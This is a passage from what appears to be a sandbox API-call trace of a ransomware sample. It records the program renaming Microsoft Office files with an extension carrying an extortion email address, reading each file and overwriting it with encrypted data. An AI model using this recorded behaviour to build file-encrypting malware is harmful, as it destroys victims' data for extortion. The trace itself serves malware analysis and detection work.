psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK", len=0x48 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK") returned 1 [0177.411] GetProcessHeap () returned 0x630000 [0177.411] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ae8) returned 0x707d3d0 [0177.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.412] CloseHandle (hObject=0x678) returned 1 [0177.412] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.413] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VIF955~1.FIR")) returned 0x6d4e40 [0177.413] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0177.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.413] GetProcessHeap () returned 0x630000 [0177.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4b38 [0177.413] GetProcessHeap () returned 0x630000 [0177.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4bc8 [0177.413] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.413] ReadFile (in: hFile=0x678, lpBuffer=0x6a4b38, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b38*, lpNumberOfBytesRead=0x5afff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.415] GetProcessHeap () returned 0x630000 [0177.415] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0177.415] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.415] WriteFile (in: hFile=0x678, lpBuffer=0x6a4bc8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4bc8*, lpNumberOfBytesWritten=0x5afff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.415] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.415] WriteFile (in: hFile=0x678, lpBuffer=0x6a4c27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4c27*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.415] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.415] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.415] CloseHandle (hObject=0x678) returned 1 [0177.415] GetProcessHeap () returned 0x630000 [0177.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4bc8 | out: hHeap=0x630000) returned 1 [0177.415] GetProcessHeap () returned 0x630000 [0177.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4b38 | out: hHeap=0x630000) returned 1 [0177.415] GetProcessHeap () returned 0x630000 [0177.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0177.415] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fb15372, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x5affd20, dwReserved1=0x6a4b38, cFileName="VISIO_PRM_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VIF955~1.FIR")) returned 0x6d4f40 [0177.416] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0177.416] Sleep (dwMilliseconds=0x1) [0177.466] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT", len=0x42 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT") returned 1 [0177.466] GetProcessHeap () returned 0x630000 [0177.466] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ad0) returned 0x707d3d0 [0177.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.467] CloseHandle (hObject=0x714) returned 1 [0177.467] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.467] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI650D~1.FIR")) returned 0x6d5280 [0177.468] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.468] GetProcessHeap () returned 0x630000 [0177.468] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f69c8 [0177.468] GetProcessHeap () returned 0x630000 [0177.468] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f6428 [0177.468] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.468] ReadFile (in: hFile=0x714, lpBuffer=0x71f69c8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f69c8*, lpNumberOfBytesRead=0x5afff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.470] GetProcessHeap () returned 0x630000 [0177.470] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0177.470] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.470] WriteFile (in: hFile=0x714, lpBuffer=0x71f6428*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6428*, lpNumberOfBytesWritten=0x5afff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.470] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.470] WriteFile (in: hFile=0x714, lpBuffer=0x71f64e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f64e7*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.470] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.470] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.470] CloseHandle (hObject=0x714) returned 1 [0177.470] GetProcessHeap () returned 0x630000 [0177.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f6428 | out: hHeap=0x630000) returned 1 [0177.471] GetProcessHeap () returned 0x630000 [0177.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f69c8 | out: hHeap=0x630000) returned 1 [0177.471] GetProcessHeap () returned 0x630000 [0177.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0177.471] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fbade0d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x5affd20, dwReserved1=0x71f69c8, cFileName="VISIO_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI650D~1.FIR")) returned 0x6d5580 [0177.471] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0177.471] Sleep (dwMilliseconds=0x1) [0177.484] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL", len=0x41 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL") returned 1 [0177.484] GetProcessHeap () returned 0x630000 [0177.484] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab8) returned 0x707d3d0 [0177.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0177.516] CloseHandle (hObject=0x6a8) returned 1 [0177.516] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0xa326fd, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x18ccc9d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x5a850, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIMESOLN.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TIMESO~1.FIR")) returned 0x6d5280 [0177.517] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0177.518] GetProcessHeap () returned 0x630000 [0177.518] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71f9160 [0177.519] GetProcessHeap () returned 0x630000 [0177.519] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7204590 [0177.519] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.519] ReadFile (in: hFile=0x6a8, lpBuffer=0x71f9160, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f9160*, lpNumberOfBytesRead=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.670] GetProcessHeap () returned 0x630000 [0185.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0185.671] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.671] WriteFile (in: hFile=0x6a8, lpBuffer=0x7204590*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x7204590*, lpNumberOfBytesWritten=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.671] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.671] WriteFile (in: hFile=0x6a8, lpBuffer=0x720f98f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x720f98f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.465] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.465] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.465] CloseHandle (hObject=0x6a8) returned 1 [0187.465] GetProcessHeap () returned 0x630000 [0187.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7204590 | out: hHeap=0x630000) returned 1 [0187.466] GetProcessHeap () returned 0x630000 [0187.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f9160 | out: hHeap=0x630000) returned 1 [0187.469] GetProcessHeap () returned 0x630000 [0187.469] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0187.469] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0xa326fd, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x35b09c34, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5a874, dwReserved0=0xa807496, dwReserved1=0x71f9158, cFileName="TIMESOLN.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TIMESO~1.FIR")) returned 0x6d4ec0 [0187.470] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0187.470] Sleep (dwMilliseconds=0x1) [0189.528] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF", len=0x49 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF") returned 1 [0189.528] GetProcessHeap () returned 0x630000 [0189.528] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2974) returned 0x707d3d0 [0189.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0189.556] CloseHandle (hObject=0x40c) returned 1 [0189.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.556] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6b.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ade, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR6B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR6~2.FIR")) returned 0x6d5280 [0189.557] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0189.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6b.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0189.557] GetProcessHeap () returned 0x630000 [0189.557] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ae1) returned 0x733b308 [0189.558] GetProcessHeap () returned 0x630000 [0189.558] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ae1) returned 0x71483b8 [0189.558] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.558] ReadFile (in: hFile=0x40c, lpBuffer=0x733b308, nNumberOfBytesToRead=0x2ac0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x733b308*, lpNumberOfBytesRead=0x5afff0c*=0x2ac0, lpOverlapped=0x0) returned 1 [0191.849] GetProcessHeap () returned 0x630000 [0191.850] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0191.850] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.850] WriteFile (in: hFile=0x40c, lpBuffer=0x71483b8*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71483b8*, lpNumberOfBytesWritten=0x5afff0c*=0x2ac0, lpOverlapped=0x0) returned 1 [0191.850] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.850] WriteFile (in: hFile=0x40c, lpBuffer=0x714ae77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x714ae77*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.850] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.850] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.850] CloseHandle (hObject=0x40c) returned 1 [0191.850] GetProcessHeap () returned 0x630000 [0191.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71483b8 | out: hHeap=0x630000) returned 1 [0191.851] GetProcessHeap () returned 0x630000 [0191.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733b308 | out: hHeap=0x630000) returned 1 [0191.851] GetProcessHeap () returned 0x630000 [0191.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0191.851] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.851] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 